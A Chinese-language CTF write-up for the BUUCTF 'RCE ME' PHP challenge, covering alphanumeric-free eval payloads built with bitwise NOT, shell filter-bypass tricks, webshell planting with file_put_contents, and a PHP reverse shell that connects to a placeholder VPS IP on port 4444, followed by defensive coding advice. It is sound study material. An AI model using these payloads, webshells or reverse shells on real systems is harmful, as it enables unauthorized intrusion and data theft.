:無字母數(shù)字RCE與命令注入繞過技巧)
1. 項目概述一次關(guān)于PHP代碼審計與RCE繞開的實戰(zhàn)復盤最近在BUUCTF平臺上重溫了一道經(jīng)典的題目——“[極客大挑戰(zhàn) 2019]RCE ME”。這道題雖然年份較早但其中蘊含的PHP代碼審計技巧和命令執(zhí)行RCE的多種繞過思路至今仍是安全測試人員和新手入門Web安全繞開的絕佳練手材料。題目本身模擬了一個存在漏洞的PHP Web應用我們的目標就是通過審計其源代碼找到并利用漏洞最終在服務器上執(zhí)行任意命令獲取到隱藏的Flag。簡單來說這道題的核心就是“繞開”。服務器端對用戶輸入進行了層層過濾和限制我們的任務就是像玩解謎游戲一樣找到過濾規(guī)則的“縫隙”把我們的惡意指令“塞”進去。整個過程會涉及到對PHP語言特性的深入理解、對常見安全函數(shù)如preg_match,eval,pcntl_exec的審計以及對Linux系統(tǒng)命令的靈活拼接。我將在下文中詳細拆解我解題時的兩種核心思路一種是基于命令拼接的“巧勁”另一種則是利用PHP自身函數(shù)特性的“內(nèi)力”。無論你是剛接觸CTF的新手還是想鞏固代碼審計基礎(chǔ)的朋友相信這篇復盤都能給你帶來一些直接的啟發(fā)和可復現(xiàn)的操作步驟。2. 環(huán)境搭建與初步信息收集動手之前模擬一個真實的測試環(huán)境是很有必要的。雖然BUUCTF提供了現(xiàn)成的題目環(huán)境但為了徹底理解漏洞成因我強烈建議你在本地搭建一個類似的測試場景。2.1 本地測試環(huán)境配置我使用的是集成的PHP開發(fā)環(huán)境例如XAMPP或PHPStudy它們能快速在本地Windows或虛擬機Linux上部署ApachePHP。關(guān)鍵是要確保PHP版本與題目環(huán)境相近通常PHP 5.x或7.x并開啟錯誤顯示以便調(diào)試在php.ini中設(shè)置display_errors On。題目的核心源碼通常只有短短幾十行。我將其保存為一個名為rce_me.php的文件放在Web服務器的根目錄如htdocs下。通過瀏覽器訪問http://localhost/rce_me.php就能看到與題目相同的界面。本地搭建的好處是你可以隨意修改源碼、添加調(diào)試語句如var_dump反復測試你的繞過Payload而不用擔心對比賽平臺造成影響。2.2 題目界面分析與源碼審計訪問題目鏈接首先映入眼簾的是一個極其簡潔的頁面往往只有一個輸入框或者連輸入框都沒有只顯示一行源碼。這就是CTF題目的典型風格——一切信息都藏在源碼和HTTP響應里。第一步永遠是查看網(wǎng)頁源代碼。快捷鍵CtrlU或在瀏覽器中右鍵“查看頁面源代碼”。很多時候關(guān)鍵的PHP代碼會以HTML注釋的形式隱藏在頁面中。例如你可能會看到這樣的內(nèi)容?php error_reporting(0); if(isset($_GET[‘code’])){ $code$_GET[‘code’]; if(strlen($code)40){ die(“太長了不會執(zhí)行”); } if(preg_match(“/[A-Za-z0-9]/”,$code)){ die(“不要輸入奇奇怪怪的字符”); } eval($code); } else{ highlight_file(__FILE__); } ?這段代碼就是我們的“戰(zhàn)場”。它通過$_GET[‘code’]接收一個名為code的參數(shù)。然后進行了兩個檢查1長度不能超過40個字符2不能包含大小寫字母和數(shù)字。如果都通過了就會將$code交給eval()函數(shù)執(zhí)行。eval()是PHP中一個非常危險的函數(shù)它會將傳入的字符串當作PHP代碼來執(zhí)行。因此我們的目標就是構(gòu)造一個不含字母數(shù)字、長度小于40的字符串讓它被eval執(zhí)行后能幫助我們讀取文件或執(zhí)行系統(tǒng)命令。注意在實際審計時要養(yǎng)成逐行閱讀的習慣。關(guān)注所有用戶輸入點$_GET,$_POST,$_COOKIE,$_REQUEST跟蹤這些變量經(jīng)過了哪些處理函數(shù)如trim,str_replace,preg_match最終流向了哪些危險函數(shù)如eval,assert,system,exec,shell_exec。這就是漏洞挖掘的基本路徑。3. 核心漏洞原理與第一種繞過方法無字母數(shù)字RCE第一種方法也是這道題最直接的考點就是“無字母數(shù)字的WebShell”技術(shù)。因為代碼明確過濾了所有字母和數(shù)字我們傳統(tǒng)的system(‘ls’)或echo ‘hello’這樣的Payload完全無法使用。這就需要我們利用PHP語言的一些“奇技淫巧”來動態(tài)構(gòu)造出我們想要的函數(shù)名和參數(shù)。3.1 利用PHP字符串操作特性構(gòu)造命令PHP的字符串可以用多種方式表示和拼接。當字母數(shù)字被禁時我們還有以下武器字符串取反~在PHP中~是位非運算符。但一個有趣的現(xiàn)象是對字符串進行取反會得到另一個字符串。例如~”%8C%86%8C%8B%9A%92″在PHP中經(jīng)過URL解碼后取反的結(jié)果就是”system”。這是因為取反操作是基于字符的ASCII碼進行的位運算。異或^兩個字符串進行異或運算可以得到第三個字符串。通過精心選擇兩個不含字母數(shù)字的字符串進行異或就有可能得到我們想要的函數(shù)名如”assert”。自增運算符PHP中可以對字符進行自增操作。例如‘a(chǎn)’會得到‘b’。如果我們能構(gòu)造出一個初始字符比如通過$_GET[‘a(chǎn)’]傳入一個數(shù)組數(shù)組的字符串表示是”Array”其第一個字符就是‘A’然后通過多次自增就能得到其他字母。在本題中最經(jīng)典和簡潔的方法是使用取反~。我們的目標是構(gòu)造出eval($_POST[‘a(chǎn)’])這樣的后門但eval本身也被過濾。所以需要更進一步構(gòu)造一個能執(zhí)行任意代碼的“一句話木馬”。通常我們會選擇assert函數(shù)因為它也能執(zhí)行字符串形式的PHP代碼。構(gòu)造過程如下我們先在本地寫一個腳本計算出”assert”這個字符串經(jīng)過取反后的URL編碼形式。?php $func ‘a(chǎn)ssert’; echo urlencode(~$func); // 輸出%9E%8C%8C%9A%8D%8B ?同理我們可以計算出$_POST[‘a(chǎn)’]的取反形式。然后我們的Payload就可以這樣寫code(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9E%A2%D6%D6);當這個Payload被賦值給$code并執(zhí)行eval($code)時(~%9E%8C%8C%9A%8D%8B)會被解析為字符串”assert”(~%D7…D6)會被解析為字符串$_POST[‘a(chǎn)’]。于是整個語句就變成了assert($_POST[‘a(chǎn)’])。接下來我們就能像使用普通一句話木馬一樣用HackBar或Burp Suite的Repeater模塊以POST方式傳遞參數(shù)aphpinfo();或asystem(‘ls /’);來執(zhí)行命令了。實操心得使用取反構(gòu)造時一定要注意PHP版本差異。PHP7.1及以上版本對assert()函數(shù)的行為進行了重大更改它不再是一個函數(shù)而變成了一個語言構(gòu)造并且默認不再能執(zhí)行字符串代碼。因此在PHP7.1的環(huán)境中assert構(gòu)造法可能會失效。這時就需要考慮用其他函數(shù)如create_function已廢棄或回到eval的構(gòu)造但eval本身是語言構(gòu)造不能直接通過變量函數(shù)調(diào)用$func()需要更復雜的技巧比如利用??php ... ?標簽閉合。3.2 利用PHP動態(tài)函數(shù)執(zhí)行與參數(shù)傳遞上一步我們構(gòu)造出了assert($_POST[‘a(chǎn)’])這已經(jīng)是一個功能強大的后門。但題目可能還有更多限制比如禁用了assert或者我們的Payload長度超限。這就需要我們更深入地挖掘。另一種思路是不直接構(gòu)造完整的函數(shù)調(diào)用而是利用PHP的“變量函數(shù)”和“字符串解析”特性。在PHP中如果$a “system”; $b “l(fā)s”;那么$a($b)就等價于system(“l(fā)s”)。那么如何在不使用字母數(shù)字的情況下得到”system”和”ls”這些字符串呢我們可以利用PHP的復雜變量解析語法。例如${_GET}{a}這種寫法在特定上下文如雙引號字符串中可以被解析。更厲害的是我們可以利用未過濾的字符如$、{、}、_、[、]通過拼接$_GET參數(shù)本身來構(gòu)造。一個經(jīng)典的Payload是?code$_”$_”.[];$_$_[‘!’’’];這行代碼看起來像天書但一步步拆解$_”$_”.[];將變量$_賦值為字符串”$_”和空數(shù)組[]拼接的結(jié)果。在PHP中數(shù)組轉(zhuǎn)字符串會得到”Array”。所以$_的值變成了”$_Array”。$_$_[‘!’’’];‘!’’’是一個恒假的表達式結(jié)果為false。false在作為數(shù)組下標時會被轉(zhuǎn)換為0。所以$_變成了”$_Array”[0]即字符串”$_Array”的第一個字符$。現(xiàn)在變量$_的值就是一個單獨的美元符號$。我們可以用它來構(gòu)造其他變量名例如$__“$_.GET”實際構(gòu)造時需要更精細的拼接最終動態(tài)地創(chuàng)建出$_GET數(shù)組然后從中提取出我們通過GET請求傳入的函數(shù)名和參數(shù)。這種方法極其靈活能繞過非常嚴格的字符過濾但構(gòu)造過程繁瑣對PHP語法理解要求極高。在本題40字符的長度限制下可能需要極致的精簡才能塞入。這體現(xiàn)了CTF比賽中“代碼高爾夫”的一面。4. 第二種繞過方法利用pcntl_exec與命令注入第一種方法側(cè)重于代碼層面的繞過。而第二種方法則更像是傳統(tǒng)“命令注入”漏洞的延伸它利用了題目中可能存在的另一個危險函數(shù)——pcntl_exec。4.1pcntl_exec函數(shù)淺析與發(fā)現(xiàn)pcntl_exec是PHP的一個函數(shù)用于在當前進程空間執(zhí)行指定程序。其原型是pcntl_exec(string $path, array $args)。它類似于exec()但更底層。如果我們在審計源碼時發(fā)現(xiàn)除了eval之外還有諸如system,passthru,exec,shell_exec甚至是pcntl_exec這樣的函數(shù)被以不安全的方式使用就打開了另一條RCE的通道。在本題的變種或我自己的測試中我假設(shè)了這樣一種場景源碼在過濾后并沒有直接將輸入交給eval而是拼接到了一個pcntl_exec調(diào)用中。例如$cmd “/bin/echo “ . $_GET[‘input’]; pcntl_exec(“/bin/sh”, [“-c”, $cmd]);如果這里的$_GET[‘input’]過濾不嚴我們就可以注入額外的命令。例如輸入hello; id最終執(zhí)行的命令就變成了/bin/echo hello; id分號使得id命令得以執(zhí)行。那么如何發(fā)現(xiàn)它呢在真實的黑盒測試中我們可能看不到源碼。這時就要依靠錯誤信息和行為推斷。如果我們在參數(shù)中輸入特殊字符如分號;、反引號、管道符|后頁面返回了命令執(zhí)行相關(guān)的錯誤如“sh: 1: xxx: not found”或者有明顯的延時如我們注入sleep 5那么很可能存在命令注入。進一步如果發(fā)現(xiàn)phpinfo()頁面中pcntl擴展被啟用那么使用pcntl_exec的可能性就增加了。4.2 命令拼接與繞過技巧假設(shè)我們面對的是一個簡單的命令注入點但過濾了空格、分號等常見分隔符。我們就需要運用一些繞過技巧空格繞過Linux shell中空格可以用以下字符替代${IFS}IFS是shell的內(nèi)部字段分隔符默認包含空格。$IFS$9$9通常是第9個參數(shù)通常為空所以$IFS$9也常被用來代表空格。或重定向符號在某些上下文中可以起到分隔作用如catflag.txt。%09(Tab鍵的URL編碼)。{cat,flag.txt}花括號擴展shell會將其展開為cat flag.txt。命令分隔符繞過除了分號;還有換行符%0a(URL編碼)邏輯與前一條成功則執(zhí)行后一條邏輯或||前一條失敗則執(zhí)行后一條管道符|將前一條命令的輸出作為后一條的輸入反引號command或$(command)命令替換先執(zhí)行括號或反引號內(nèi)的命令。黑名單關(guān)鍵字繞過如果過濾了cat,flag等單詞可以嘗試使用其他命令tac,more,less,head,tail,nl,od,strings。使用通配符cat fla*,cat fla?。使用變量拼接ac;bat;cfl;dag;$a$b $c$d。使用編碼/引用cat ‘fl’‘a(chǎn)g’cat f”l””ag”。在本題的語境下如果我們能通過第一種無字母數(shù)字WebShell得到一個可以執(zhí)行PHP代碼的環(huán)境那么我們就可以在這個“準Shell”中使用PHP的system或passthru來執(zhí)行系統(tǒng)命令從而繞過源碼層對命令注入的過濾。這就形成了“組合拳”先用代碼執(zhí)行漏洞打開一個口子再在這個口子內(nèi)部進行更自由的命令操作。5. 實戰(zhàn)解題步驟與Payload構(gòu)造理論說了這么多現(xiàn)在讓我們回到BUUCTF這道題看看兩種方法的具體實操步驟。我會假設(shè)一個最接近原題的場景進行演示。5.1 方法一實操取反構(gòu)造WebShell步驟1信息收集與確認訪問題目鏈接使用瀏覽器開發(fā)者工具F12查看網(wǎng)絡(luò)請求和源代碼。在源碼中發(fā)現(xiàn)上文提到的PHP代碼。確認漏洞點eval($_GET[‘code’])且code參數(shù)過濾了字母數(shù)字長度限制40。步驟2Payload計算與構(gòu)造由于過濾了字母數(shù)字我們選擇取反法構(gòu)造assert($_POST[‘pass’])。在本地PHP環(huán)境中編寫計算腳本?php $func ‘a(chǎn)ssert’; $param ‘$_POST[“pass”]’; // 注意這里用雙引號包裹字符串內(nèi)的鍵名避免語法錯誤 echo ‘(~’.urlencode(~$func).‘)(~’.urlencode(~$param).‘);’; // 輸出(~%9E%8C%8C%9A%8D%8B)(~%D7%99%93%9E%98%D1%8F%97%8F); ?注意$_POST[‘pass’]中的單引號在拼接時可能會引發(fā)語法錯誤。更穩(wěn)健的做法是在Payload中直接使用$_POST[pass]不帶引號在PHP中這同樣是合法的。或者計算$_POST[pass]的取反。我在這里計算$_POST[“pass”]是為了演示清晰實際構(gòu)造時需考慮閉合和語法。考慮到長度限制和語法正確性一個更精簡且通用的Payload是?code(~%9E%8C%8C%9A%8D%8B)(~%D7%99%93%9E%98%D1%8F%97%8F);這個Payload長度很短符合要求。它等價于執(zhí)行了assert($_POST[pass])。步驟3利用WebShell執(zhí)行命令將構(gòu)造好的Payload作為code參數(shù)的值發(fā)送GET請求。例如http://buuoj.cn:port/?code(~%9E%8C%8C%9A%8D%8B)(~%D7%99%93%9E%98%D1%8F%97%8F)此時頁面可能沒有明顯回顯因為assert執(zhí)行了但$_POST[‘pass’]為空。這其實是好事說明代碼已成功執(zhí)行我們的“一句話木馬”已經(jīng)植入。使用Burp Suite的Repeater模塊或HackBar等工具向同一個URL發(fā)送一個POST請求。在POST Body中添加參數(shù)passsystem(‘ls /’);。查看響應如果成功你將會看到服務器根目錄的文件列表。接下來就可以用cat、find等命令去尋找和讀取Flag文件了例如passsystem(‘cat /flag’);或passsystem(‘find / -name “*flag*” 2/dev/null’);。5.2 方法二實操結(jié)合代碼執(zhí)行進行命令注入方法二通常作為方法一的補充或進階。假設(shè)我們通過方法一已經(jīng)獲得了代碼執(zhí)行能力但發(fā)現(xiàn)目標系統(tǒng)有禁用某些函數(shù)通過phpinfo()查看disable_functions列表或者Flag不在Web目錄下需要更復雜的命令交互。步驟1建立更穩(wěn)定的Shell通過方法一的WebShell我們可以嘗試寫入一個更易用的WebShell文件。POST /?code(~%9E%8C%8C%9A%8D%8B)(~%D7%99%93%9E%98%D1%8F%97%8F) passfile_put_contents(‘shell.php’, ‘?php eval($_POST[“cmd”]);?’);如果權(quán)限允許這會在網(wǎng)站根目錄生成一個shell.php文件內(nèi)容為更標準的一句話木馬。步驟2探測命令執(zhí)行限制訪問新生成的shell.php用POST傳遞cmdphpinfo();查看disable_functions配置。如果system,shell_exec等被禁用但passthru,proc_open,popen未被禁用我們可以換用這些函數(shù)。步驟3構(gòu)造繞過過濾的命令即使獲得了命令執(zhí)行函數(shù)目標系統(tǒng)可能還對命令本身有過濾。例如過濾了cat和flag。我們可以嘗試使用tac命令cmdsystem(‘tac /fla*’);或者使用more命令cmdsystem(‘more /etc/passwd’);先查看用戶信息尋找線索使用find命令定位文件cmdsystem(‘find / -type f -name “*.txt” | grep -i flag 2/dev/null | head -5’);如果連system都被嚴格監(jiān)控可以嘗試用反引號執(zhí)行運算符cmdechols /;注意反引號在字符串中的轉(zhuǎn)義。步驟4利用pcntl_exec如果可用如果在phpinfo()中看到pcntl擴展已啟用我們可以嘗試直接使用pcntl_exec。但需要注意的是pcntl_exec會替換當前進程所以如果通過Web調(diào)用執(zhí)行后不會有任何輸出返回到瀏覽器。通常我們需要結(jié)合proc_open或popen來獲取輸出。一個更簡單的利用方式是用它來啟動一個反向Shell連接到我們的監(jiān)聽服務器從而獲得一個完全交互式的終端。cmd$sockfsockopen(“your_vps_ip”,4444);$procproc_open(‘/bin/sh’, array(0$sock, 1$sock, 2$sock), $pipes);當然這需要你在公網(wǎng)VPS上使用nc -lvp 4444提前進行監(jiān)聽。6. 常見問題排查與深度防御思考在實際操作中很少能一擊即中。下面是我在解題和教學過程中學員們最常遇到的問題以及排查思路。6.1 問題排查清單問題現(xiàn)象可能原因排查步驟提交Payload后頁面空白或報500錯誤1. Payload語法錯誤。2. 目標PHP版本不支持某些特性如PHP7.1的assert。3. 長度超限。4. 觸發(fā)了WAF或額外過濾。1.本地測試將題目源碼和Payload復制到本地環(huán)境開啟display_errors查看具體錯誤信息。2.簡化Payload先嘗試一個極簡的Payload如?codephpinfo();如果沒過濾分號確認代碼執(zhí)行點是否有效。3.分步構(gòu)造對于復雜的無字母數(shù)字Payload分步計算和拼接確保每一步的URL編碼正確。4.查看響應頭有時WAF會返回特定的Header或狀態(tài)碼。方法一的WebShell上傳成功但POST命令無回顯1.system等函數(shù)被禁用。2. 命令執(zhí)行成功但無輸出如cd命令。3. Web服務器用戶權(quán)限不足無法執(zhí)行某些命令或讀取文件。4. 輸出被重定向或緩沖區(qū)問題。1.檢查phpinfo()確認disable_functions列表。2.使用有回顯的命令嘗試cmdecho “test”;或cmdprint_r(scandir(“.”));。3.嘗試其他輸出方式passthru(‘ls’);,echo shell_exec(‘ls’);, 或使用反引號。4.嘗試讀取Web目錄print_r(scandir(“/var/www/html”));。命令執(zhí)行有回顯但找不到Flag文件1. Flag不在當前目錄或常見目錄。2. Flag文件名不常見。3. 權(quán)限不足無法進入某些目錄。1.全局搜索find / -type f -name “*flag*” 2/dev/null(忽略錯誤信息)。2.搜索文件內(nèi)容grep -r “flag{“ / 2/dev/null。3.檢查環(huán)境變量cmdsystem(‘env’);有時Flag會藏在環(huán)境變量里。4.查看進程信息cmdsystem(‘ps aux’);尋找可疑進程或命令行參數(shù)。無字母數(shù)字Payload被攔截1. 題目過濾了更多字符如~、$、{、}等。2. 存在長度限制以外的過濾規(guī)則。1.Fuzz測試用Burp Intruder或簡單腳本測試哪些字符可用。2.嘗試異或^或自增構(gòu)造法。3.利用.‘點號單引號進行字符串拼接如果它們未被過濾。例如.可以連接字符串‘’兩個單引號是空字符串通過精心組合也能構(gòu)造出字符。6.2 從攻擊到防御安全編碼啟示作為開發(fā)者如何避免寫出這樣的漏洞代碼呢這道題給了我們清晰的警示永遠不要信任用戶輸入這是安全的第一原則。所有來自外部的數(shù)據(jù)GET, POST, COOKIE, Header都必須視為不可信的。避免使用危險函數(shù)如非必要盡量避免使用eval(),assert(),system(),exec(),shell_exec(),passthru(),pcntl_exec()等。如果必須使用必須進行嚴格的、白名單式的輸入驗證。使用安全的替代方案如果需要動態(tài)執(zhí)行代碼考慮使用安全的沙箱環(huán)境或語言特性如PHP的create_function注意已廢棄的替代方案或使用經(jīng)過嚴格安全審計的模板引擎。如果需要執(zhí)行系統(tǒng)命令盡可能使用參數(shù)化調(diào)用避免命令拼接。例如使用proc_open并明確指定參數(shù)數(shù)組而不是將用戶輸入直接拼接到命令字符串中。實施縱深防御輸入驗證在接收端進行白名單驗證只允許預期的字符集和格式。輸出編碼在將數(shù)據(jù)輸出到不同上下文HTML, SQL, 系統(tǒng)命令時進行相應的編碼或轉(zhuǎn)義。最小權(quán)限原則運行Web服務的進程如www-data應具有盡可能低的系統(tǒng)權(quán)限避免它能讀寫敏感文件或執(zhí)行關(guān)鍵命令。WAFWeb應用防火墻在應用層前部署WAF可以攔截一些常見的攻擊Payload作為最后一道防線。通過這道“[極客大挑戰(zhàn) 2019]RCE ME”的兩種解法我們不僅學習了幾種巧妙的繞過技術(shù)更重要的是理解了漏洞產(chǎn)生的根源和防御的思路。代碼審計就像一場攻防博弈攻擊者在尋找邏輯的縫隙而防御者則在努力讓邏輯無懈可擊。多練習、多思考才能在實戰(zhàn)中更快地發(fā)現(xiàn)問題和解決問題。